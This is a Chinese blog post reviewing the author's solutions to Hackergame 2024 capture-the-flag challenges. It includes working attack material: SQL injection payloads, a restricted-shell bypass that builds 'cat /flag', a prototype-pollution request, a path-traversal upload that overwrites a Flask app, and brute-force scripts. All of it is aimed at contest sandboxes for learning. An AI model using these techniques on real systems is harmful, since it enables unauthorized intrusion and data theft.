Hackergame 2024回顾

发布于 / 刷题 / 0 条评论

前言

链接:Hackergame 2024 (ustc.edu.cn)

在学校内网的某站里偶然了解到了hackergame,发现还没结束,于是玩了玩。

这次参加Hackergame的收获还是蛮大的,尤其是lesspipe漏洞,想不到每天都在使用的less居然这么容易被利用。

由于兴趣点主要还是网络、流量、web安全,而二进制安全除了论文有读外,实战接触不多,偏科严重

签到

要求60秒内输入12中不同语言的启动,网页禁止了粘贴

1.png

这道题很好解,直接把get参数改了OK了

2.png

3.png

喜欢做签到的 CTFer 你们好呀

这道题提示:有两个 flag 就藏在中国科学技术大学校内 CTF 战队的招新主页里!

从比赛首页找到USTC的CTF战队招新主页

2.png

点进去发现怎么是个shell界面

3.png

不过大概玩了玩这个shell,应该是js写的shell,而不是真的连接一个Linux的shell。这样就好办了,直接F12,把页面请求的js都看一遍

4.png

好像这个JS里面有点东西,非常base645.png

直接解码,两个flag到手~

猫咪问答(Hackergame 十周年纪念版)

问题1. 在 Hackergame 2015 比赛开始前一天晚上开展的赛前讲座是在哪个教室举行的?

问题2. 众所周知,Hackergame 共约 25 道题目。近五年(不含今年)举办的 Hackergame 中,题目数量最接近这个数字的那一届比赛里有多少人注册参加?

image.png

这两个题直接在新闻稿里就能搜到,分别是3A204和2682

问题3. Hackergame 2018 让哪个热门检索词成为了科大图书馆当月热搜第一?

= =。。。直接Google搜【Hackergame 2018 图书馆】,可以搜到答案是程序员的自我修养

问题5. 10 月 18 日 Greg Kroah-Hartman 向 Linux 邮件列表提交的一个 patch 把大量开发者从 MAINTAINERS 文件中移除。这个 patch 被合并进 Linux mainline 的 commit id 是多少?

这个直接找10.18的Linux提交记录就行,很简单就能找到。Commits · torvalds/linux (github.com)

问题4. 在今年的 USENIX Security 学术会议上中国科学技术大学发表了一篇关于电子邮件伪造攻击的论文,在论文中作者提出了 6 种攻击方法,并在多少个电子邮件服务提供商及客户端的组合上进行了实验?

问题6. 大语言模型会把输入分解为一个一个的 token 后继续计算,请问这个网页的 HTML 源代码会被 Meta 的 Llama 3 70B 模型的 tokenizer 分解为多少个 token?

论文不想找了,token也不想找工具算了,Brute force启动!(我是两道题分开爆破的,这个是爆破问题6时候的代码)

import requests as r
import time

url = "http://202.38.93.141:13030/"
coolie = "session=xxxx"

headers = {"Cookie":coolie}

q5 = 337
while True:
    print(q5)
    ret = r.post(url=url,headers=headers, data={
        'q1': "3A204",
        'q2': "2682",
        'q3': "程序员的自我修养",
        'q4': 336,
        'q5': "6e90b6",
        'q6': str(q5)
    }).text
    if "总得分为 95" not in ret:
        break
    q5 += 1
    time.sleep(1)

打不开的盒

签到题,直接拿Windows自带的3D画图就能瞧见内部的flag

不过我还真有一台3D打印机在吃灰,打出来再看看flag也不是不行

每日论文太多了!

flag藏在ISSTA24的一篇论文里:CLAP: Learning Transferable Binary Code Representations with Natural Language Supervision | Proceedings of the 33rd ACM SIGSOFT International Symposium on Software Testing and Analysis

搜一下关键词flag,可以发现这里有个白色字体的 flag here

image.png

推测flag应该在这附近。把附近的文字全都复制粘贴一遍,无果。

最后把这页提取出来,用这个工具PDF轉SVG轉換器。在线自由 — Convertio转成了svg,再从svg里面拆出所有图片,可以发现里面藏着一个flag

即时工具(67tool.com)-1730718464000.png

比大小王

就是简单的比大小,对手比的速度非常快,手敲肯定是不行了,简单分析一下页面的源代码,上JS脚本!

setInterval(function(){
	if(parseInt($("#value1").html()) > parseInt($("#value2").html())) chooseAnswer('>');
	else chooseAnswer('<')
}, 0.001)

脚本每0.0001秒判断一次大小 ,并作出决策。

结果

image.png

妈耶直接模拟点击好像不得行,速度不够快,看来还得直接淦接口。。。

分析了一下请求,发现题目从一个叫做game的接口里获得

image.png

提交到submit api,post参数input传递玩家答案

image.png

继续上js脚本

j = {
    "startTime": 1730xxxxx,
    "values": [
        [
            17,
            3
        ],
        [
            11,
            18
        ],
        
    ]
}
var inputs = []
for(var i = 0; i < j.values.length; i++){
	if(j.values[i][0] > j.values[i][1]) inputs.push('>');
	else inputs.push('<');
}

submit(inputs)

把j变量换成game接口返回的内容,手速快一点,轻松秒杀~

旅行照片 4.0

利用高德地图、小红书、百度搜图、百度卫星图可以解出来所有题目。

PowerfulShell

脚本禁止了这些字符串的输入

'\";,.%^*?!@#%^&()><\/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0

根据键盘上的可输入字符取反一下,就是只允许下面字符的输入

$_-=+{}[]|\:`~

打一个波浪号

image.png

发现~=/players,思路就是可以利用~这个字符串当字符数组,利用数组里的元素替代禁止输入的字符!比如我要执行ls /命令,可以用如下命令:

_1=~
${_1:2:1}${_1:7:1} ${_1:1-1:1}

image.png

flag在根目录下,需要执行cat /flags。明显/players这八个字符不够用,不过可以利用ls /的输出继续构造出来cat /flag

_2=`${_1:2:1}${_1:7:1} ${_1:1-1:1}`

此时,字符映射关系如下

image.png

执行:

${_2:15:1}${_1:3:1}${_2:7:1} ${_1:1-1:1}${_2:17:4}

轻松秒杀!

Node.js is Web Scale

这个题本意就是,key-value数据库一般需要存储到硬盘里持久化,但是硬盘IO很慢,所以作者写了个将kv存储到内存中的数据库,提高数据库访问速度。

有查看源码的地方,去看看作者是怎么写的:

image.png

image.png

原来查看源码这个功能是通过执行cmd['getsource']来实现的,而且cmd是个对象,getsource这个参数是用户传递的。

通过代码发现,用户可以修改store对象的内容,这显然形成了一个原型链调用漏洞。

可以构造这个输入请求

image.png

此时后端执行了store.__proyo__.getflag='cat /flag',成功污染掉所有的对象,直接访问/execute?cmd=getflag就可以执行cat /flag命令了

PaoluGPT

分析题目给定的代码,本题使用python开发了一个聊天记录查询的应用,后端数据库是sqlite。

经常注入别人网站的同学们可以发现,这里可能有个注入点

image.png

直接无脑把参数换成一个单引号,果然

image.png

看了一下main.py,证实了注入点

image.png

表名是message,但是结构未知,先看看数据表结构

1' union SELECT name as title, sql as contents FROM sqlite_master WHERE '1'='1

image.png

里面的shown非常可疑,直接把shown为False的select出来(其实通过代码可以发现,list函数中的sql语句有shown=true的条件,所以没有这一步也可以)

1' union SELECT id as title, contents as contents FROM messages WHERE shown <> 1 and '1'='1

image.png

搜索flag,果然有一个flag,在页面的最底部。。

另一个flag被我想复杂了,还以为会在其他文件里,后来发现把shown改为true就有了,用爬虫也能直接爬出来= =。。

强大的正则表达式

第一问是要求匹配能被16整除的数字。能被16整除的数字特征是后四位能被整除,所以如下写了如下表达式

(1|2|3|4|5|6|7|8|9)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)(1|2|3|4|5|6|7|8|9|0)*(1|2|3|4|5|6|7|8|9|0)*(0016|0032|0048|0064|0080|0096|0112|0128|0144|0160|0176|0192|0208|0224|0240|0256|0272|0288|0304|0320|0336|0352|0368|0384|0400|0416|0432|0448|0464|0480|0496|0512|0528|0544|0560|0576|0592|0608|0624|0640|0656|0672|0688|0704|0720|0736|0752|0768|0784|0800|0816|0832|0848|0864|0880|0896|0912|0928|0944|0960|0976|0992|1008|1024|1040|1056|1072|1088|1104|1120|1136|1152|1168|1184|1200|1216|1232|1248|1264|1280|1296|1312|1328|1344|1360|1376|1392|1408|1424|1440|1456|1472|1488|1504|1520|1536|1552|1568|1584|1600|1616|1632|1648|1664|1680|1696|1712|1728|1744|1760|1776|1792|1808|1824|1840|1856|1872|1888|1904|1920|1936|1952|1968|1984|2000|2016|2032|2048|2064|2080|2096|2112|2128|2144|2160|2176|2192|2208|2224|2240|2256|2272|2288|2304|2320|2336|2352|2368|2384|2400|2416|2432|2448|2464|2480|2496|2512|2528|2544|2560|2576|2592|2608|2624|2640|2656|2672|2688|2704|2720|2736|2752|2768|2784|2800|2816|2832|2848|2864|2880|2896|2912|2928|2944|2960|2976|2992|3008|3024|3040|3056|3072|3088|3104|3120|3136|3152|3168|3184|3200|3216|3232|3248|3264|3280|3296|3312|3328|3344|3360|3376|3392|3408|3424|3440|3456|3472|3488|3504|3520|3536|3552|3568|3584|3600|3616|3632|3648|3664|3680|3696|3712|3728|3744|3760|3776|3792|3808|3824|3840|3856|3872|3888|3904|3920|3936|3952|3968|3984|4000|4016|4032|4048|4064|4080|4096|4112|4128|4144|4160|4176|4192|4208|4224|4240|4256|4272|4288|4304|4320|4336|4352|4368|4384|4400|4416|4432|4448|4464|4480|4496|4512|4528|4544|4560|4576|4592|4608|4624|4640|4656|4672|4688|4704|4720|4736|4752|4768|4784|4800|4816|4832|4848|4864|4880|4896|4912|4928|4944|4960|4976|4992|5008|5024|5040|5056|5072|5088|5104|5120|5136|5152|5168|5184|5200|5216|5232|5248|5264|5280|5296|5312|5328|5344|5360|5376|5392|5408|5424|5440|5456|5472|5488|5504|5520|5536|5552|5568|5584|5600|5616|5632|5648|5664|5680|5696|5712|5728|5744|5760|5776|5792|5808|5824|5840|5856|5872|5888|5904|5920|5936|5952|5968|5984|6000|6016|6032|6048|6064|6080|6096|6112|6128|6144|6160|6176|6192|6208|6224|6240|6256|6272|6288|6304|6320|6336|6352|6368|6384|6400|6416|6432|6448|6464|6480|6496|6512|6528|6544|6560|6576|6592|6608|6624|6640|6656|6672|6688|6704|6720|6736|6752|6768|6784|6800|6816|6832|6848|6864|6880|6896|6912|6928|6944|6960|6976|6992|7008|7024|7040|7056|7072|7088|7104|7120|7136|7152|7168|7184|7200|7216|7232|7248|7264|7280|7296|7312|7328|7344|7360|7376|7392|7408|7424|7440|7456|7472|7488|7504|7520|7536|7552|7568|7584|7600|7616|7632|7648|7664|7680|7696|7712|7728|7744|7760|7776|7792|7808|7824|7840|7856|7872|7888|7904|7920|7936|7952|7968|7984|8000|8016|8032|8048|8064|8080|8096|8112|8128|8144|8160|8176|8192|8208|8224|8240|8256|8272|8288|8304|8320|8336|8352|8368|8384|8400|8416|8432|8448|8464|8480|8496|8512|8528|8544|8560|8576|8592|8608|8624|8640|8656|8672|8688|8704|8720|8736|8752|8768|8784|8800|8816|8832|8848|8864|8880|8896|8912|8928|8944|8960|8976|8992|9008|9024|9040|9056|9072|9088|9104|9120|9136|9152|9168|9184|9200|9216|9232|9248|9264|9280|9296|9312|9328|9344|9360|9376|9392|9408|9424|9440|9456|9472|9488|9504|9520|9536|9552|9568|9584|9600|9616|9632|9648|9664|9680|9696|9712|9728|9744|9760|9776|9792|9808|9824|9840|9856|9872|9888|9904|9920|9936|9952|9968|9984|10000)

第二问要求匹配能被13整除的二进制数字,不会了......

惜字如金

本质上就是补全代码

image.png

把代码选中后就能看到每行缺少多少字符,然后根据语法和代码逻辑补全即可

无法获得的秘密

给了一个没有联网、没有外设,只能使用vnc远程控制的计算机,用键鼠输入,看远程屏幕输出,要求取出根目录下的/secret文件

image.png

想到了之前接触过的CameraFileCopy和Cimbar Encoder。具体原理是一个网页将图片转成视频二维码,然后手机通过摄像头将视频二维码转回文字,恰好环境中有Firefox,可以跑网页

所以思路是先把cimbar网页源码搞进环境中,然后通过cimbar将文件转视频,再通过手机扫码获取文件。注意网页需要压缩一下,加快传输速度,环境15分钟会重置一次。

注意这个虽然是noVNC,但是剪贴板是坏的。。所以写了个python脚本模拟键盘输入。帮助我们把源码敲进环境中

import pyautogui
import time

html = 这里放libcimbar精简压缩处理后的网页源码

step=300
l = 0
r = step
time.sleep(2)
finished = 0
while True:
    finished += step
    print(finished / len(html), '%:\t', html[l:r])
    pyautogui.typewrite(html[l:r])
    l += step
    r += step
    time.sleep(0.5)
    if l >= len(html):
        break

根据实际情况可以微调延迟和每个输入batch的长度(step)

链上转账助手

题目给了批量转账的solidity合约,要求构造一个目标合约,让这个合约向目标转账失败。

第一问的合约是:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract BatchTransfer {
    function batchTransfer(address payable[] calldata recipients, uint256[] calldata amounts) external payable {
        require(recipients.length == amounts.length, "Recipients and amounts length mismatch");

        uint256 totalAmount = 0;
        uint256 i;

        for (i = 0; i < amounts.length; i++) {
            totalAmount += amounts[i];
        }

        require(totalAmount == msg.value, "Incorrect total amount");

        for (i = 0; i < recipients.length; i++) {
            recipients[i].transfer(amounts[i]);
        }
    }
}

直接再目标合约上写个函数,让它抛出异常就OK了

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract FailingContract {
    // 接收到ETH时抛出异常
    receive() external payable {
        revert("This contract does not accept ETH.");
    }
}

需要上传合约字节码,所以需要上Remix - Ethereum IDE把合约编译成字节码

第二问升级了合约,代码如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract BatchTransfer {
    mapping(address => uint256) public pendingWithdrawals;

    function batchTransfer(address payable[] calldata recipients, uint256[] calldata amounts) external payable {
        require(recipients.length == amounts.length, "Recipients and amounts length mismatch");

        uint256 totalAmount = 0;
        uint256 i;

        for (i = 0; i < amounts.length; i++) {
            totalAmount += amounts[i];
        }

        require(totalAmount == msg.value, "Incorrect total amount");

        for (i = 0; i < recipients.length; i++) {
            (bool success, ) = recipients[i].call{value: amounts[i]}("");
            if (!success) {
                pendingWithdrawals[recipients[i]] += amounts[i];
            }
        }
    }

    function withdrawPending() external {
        uint256 amount = pendingWithdrawals[msg.sender];
        pendingWithdrawals[msg.sender] = 0;
        (bool success, ) = payable(msg.sender).call{value: amount}("");
        require(success, "Withdrawal failed");
    }
}

增加了错误处理机制,我们只需要写个死循环,把gas耗尽就OK了

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract RejectingContract {
    receive() external payable {
        while (true){} // 耗尽gas
        revert("This contract rejects all ETH transfers.");
    }

    fallback() external payable {
        revert("This contract rejects all ETH transfers.");
    }
}

关灯

关灯小游戏,给一个三位矩阵,每个元素是一个灯,改变某个灯的状态会导致与之相邻的灯的状态全部改变

应该是一个算法题,不过不想学习了,直接暴力破解吧。。flag只在爆破之上,真理只在算力射程之内

import numpy
import time
import sys
import traceback

def convert_switch_array_to_lights_array(switch_array: numpy.array) -> numpy.array:
    lights_array = numpy.zeros_like(switch_array)
    lights_array ^= switch_array
    lights_array[:-1, :, :] ^= switch_array[1:, :, :]
    lights_array[1:, :, :] ^= switch_array[:-1, :, :]
    lights_array[:, :-1, :] ^= switch_array[:, 1:, :]
    lights_array[:, 1:, :] ^= switch_array[:, :-1, :]
    lights_array[:, :, :-1] ^= switch_array[:, :, 1:]
    lights_array[:, :, 1:] ^= switch_array[:, :, :-1]
    return lights_array

print(sys.argv[1])
print(sys.argv[2])
print(sys.argv[3])

n = 5
ques = sys.argv[1]
actual_lights_array = numpy.array(list(map(int, ques)), dtype=numpy.uint8).reshape(n, n, n)

cnt = 0
lastcnt = 0

def brute(l, r):
    global actual_lights_array
    global cnt
    for i in range(l, r):
        try:
            cnt += 1
            ans = bin(i)[2:]
            while len(ans) < n**3:
                ans = '0' + ans
            #print(ans)
            lights_array = numpy.array(list(map(int, ans)), dtype=numpy.uint8).reshape(n, n, n)
            lights_array = convert_switch_array_to_lights_array(lights_array)
            #print(numpy.array(list(map(int, ans)), dtype=numpy.uint8).reshape(n, n, n))
            if numpy.array_equal(lights_array, actual_lights_array, equal_nan=False):
                while True:
                    print(ans)
        except Exception as e:
            print(ans)
            traceback.print_exc()

brute(int(sys.argv[2]), int(sys.argv[3]))
print('fail')

while True:
    pass

为了多进程跑,抓紧再临时糊一个脚本

import os

ques = input()
thread_sum = 16

for i in range(16):
    l = int(0 + (134217728/thread_sum) * i)
    r = int((134217728/thread_sum) * (i+1))
    cmd = "start python F:\\downloads\\brute.py " + ques + " " + str(l) + " " + str(r)
    print(cmd)
    os.system(cmd)

禁止内卷

一个服务器跑了一个flask,有上传功能,flask还开启了热加载,这个思路非常明显了,写个包含获取flag的接口的flask脚本,再通过上传功能覆盖掉flask的app.py,然后flask会热加载,执行我们的脚本

from flask import Flask, render_template, request, flash, redirect
import json
import os
import traceback
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_urlsafe(64)

UPLOAD_DIR = "/tmp/uploads"

os.makedirs(UPLOAD_DIR, exist_ok=True)

# results is a list
try:
    with open("results.json") as f:
        results = json.load(f)
except FileNotFoundError:
    results = []
    with open("results.json", "w") as f:
        json.dump(results, f)


def get_answer():
    # scoring with answer
    # I could change answers anytime so let's just load it every time
    with open("answers.json") as f:
        answers = json.load(f)
        # sanitize answer
        for idx, i in enumerate(answers):
            if i < 0:
                answers[idx] = 0
    return answers


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html", results=sorted(results))


@app.route("/fuck", methods=["GET"])
def fuck():
     with open("answers.json") as f:
        answers = json.load(f)
        answers = json.dumps(answers)
        flash(answers)
        return redirect("/")


@app.route("/submit", methods=["POST"])
def submit():
    if "file" not in request.files or request.files['file'].filename == "":
        flash("你忘了上传文件")
        return redirect("/")
    file = request.files['file']
    filename = file.filename
    filepath = os.path.join(UPLOAD_DIR, filename)
    file.save(filepath)

    answers = get_answer()
    try:
        with open(filepath) as f:
            user = json.load(f)
    except json.decoder.JSONDecodeError:
        flash("你提交的好像不是 JSON")
        return redirect("/")
    try:
        score = 0
        for idx, i in enumerate(answers):
            score += (i - user[idx]) * (i - user[idx])
    except:
        flash("分数计算出现错误")
        traceback.print_exc()
        return redirect("/")
    # ok, update results
    results.append(score)
    with open("results.json", "w") as f:
        json.dump(results, f)
    flash(f"评测成功,你的平方差为 {score}")
    return redirect("/")

由于上传文件没有对文件名检查,可以构造穿越漏洞上传覆盖

curl -X POST -H "Content-Type: multipart/form-data" -F "file=@exp.txt;filename=/../../../../tmp/web/app.py" https://xxxx.hack-challenge.lug.ustc.edu.cn:8443/submit

接下来访问/fuck接口,即可得到answer.json里的内容

结语

import random
from .utils import sumbit_to_hackgame

def generate_random_string(length):
    letters = '_1234567890_abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ_'
    random_string = ''.join(random.choice(letters) for _ in range(length))
    return random_string

def get_flag():
	random_string_length = random.randint(10, 100)
	flag = generate_random_string(random_string_length)
	return flag

while True:
    # 如果给定足够的时间,一只猴子也可以在键盘上随机敲出flag
    flag = "flag{" + get_flag() + "}"
    print("Trying flag : ", flag)
    sumbit_to_hackgame(flag)

转载原创文章请注明,转载自: 斐斐のBlog » Hackergame 2024回顾
目前还没有评论,快来抢沙发吧~